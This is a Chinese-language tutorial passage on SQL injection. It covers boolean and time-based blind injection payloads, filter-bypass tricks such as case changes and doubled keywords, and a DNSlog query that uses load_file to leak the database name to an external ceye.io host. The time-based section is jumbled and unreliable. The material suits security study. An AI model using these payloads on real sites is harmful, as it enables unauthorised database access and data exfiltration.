SQL初步注入

十二.伪静态注入

伪静态的网站一般在url中存在数字

十三.盲注(布尔型SQL盲注、时间型SQL盲注)

1.布尔型盲注

复制代码
vince' and  ascii(substr(database(),1,1))=112#'

通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称

布尔型盲注基本都是通过ascii码来测试的

2.时间型盲注

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

十四.DNSlog注入

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \<www.jaden.com> 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入

复制代码
select * from member where id=1 and (select load_file(concat('\\\\',(select  database()),'.9fqiop.ceye.io\\abc')))
复制代码
工具:
​
https://github.com/ADOOO/DnslogSqlinj
​
​

十五.SQL工具测试

萝卜头(了解)

Pangolin(穿山甲)

sqlmap(重点)

十六.防御绕过

前端绕过

bp抓包修改后再放包即可绕过

后端绕过

情况一绕过:大小写绕过:SELECT * FROM USERS;

情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。

情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等

相关推荐
Wave8456 分钟前
非阻塞按键(单击,双击,长按)
数据库
2401_8318249611 分钟前
为你的Python脚本添加图形界面(GUI)
jvm·数据库·python
久违的太阳13 分钟前
记录一次ORACLE RAC安装PSU补丁步骤
数据库·oracle
2401_8796938713 分钟前
用Pygame开发你的第一个小游戏
jvm·数据库·python
xushichao198923 分钟前
实战:用OpenCV和Python进行人脸识别
jvm·数据库·python
sthnyph35 分钟前
初识MySQL · 库的操作
数据库·mysql
原来是猿36 分钟前
MySQL【视图】
数据库·mysql
2401_873587821 小时前
MySQL——事务管理
数据库·mysql
探索宇宙真理.1 小时前
SiYuan SQL漏洞 | CVE-2026-29073复现&研究
数据库·经验分享·sql·eureka·安全漏洞·siyuan
2501_945423541 小时前
工具、测试与部署
jvm·数据库·python